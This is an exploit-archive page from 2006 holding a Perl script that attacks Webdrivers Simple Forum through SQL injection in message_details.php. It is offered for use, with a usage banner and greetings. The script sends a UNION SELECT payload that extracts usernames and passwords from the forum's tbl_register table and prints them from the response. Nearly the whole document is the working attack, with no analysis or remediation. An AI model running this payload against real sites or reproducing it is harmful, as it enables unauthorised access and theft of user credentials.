[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Webdrivers Simple Forum (message_details.php) SQL Injection Exploit
# Published : 2006-11-05
# Author : Bl0od3r
# Previous Title : Ultimate PHP Board <= 2.0 (header_simple.php) File Include Exploit
# Next Title : Ariadne <= 2.4 store_config[code] Remote File Include Vulnerabilities


#!perl
use IO::Socket;
#Download:http://www.thewebdrivers.com/forum.zip
#By:Bl0od3r
#Germany =]
if (@ARGV<3) {
&header;
} else {
&get();
}
sub get() {
$host=$ARGV[0];
$path=$ARGV[1];
   $id=$ARGV[2];
$socket=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>80)
or die ("[-]Errorn");
print "[~]Connecting!n";
print "[~]Getting Data!n";
print $socket "GET ".$path."message_details.php?id=-1%20UNION%20SELECT%201,password,username,4,4%20FROM%20tbl_register WHERE id=".$id."/* HTTP/1.1n";
print $socket "Host: $hostn";
print $socket "Accept: */*n";
print $socket "Connection: closenn";

while ($ans=<$socket>) {
$ans=~ m/<span class="style3">&nbsp;Re :  -(.*?)-/ && print "--------------------------------------------n[+]UserName: $1n[+]PassWord:";
$ans=~ m/<td class="text">(.*?)</td>/ && print "$1n";
if ($1) {
$success=1; } else { $success=0;};
}
if ($success=="1") {
print "n[+]Successed!";
  } else {
print "[-]Error";
    }
  }
sub header() {
print
"--------------------------------------------------------------------n";
print "|t---------->By Bl0od3r<---------tttt    |";
print "n|Usage:script.pl host.com /path/ 1tttt    |";
print
"n--------------------------------------------------------------------n";
exit;
}

# greetz to all dc3 members,matrix_killer and skOd =]

# www.Syue.com [2006-11-05]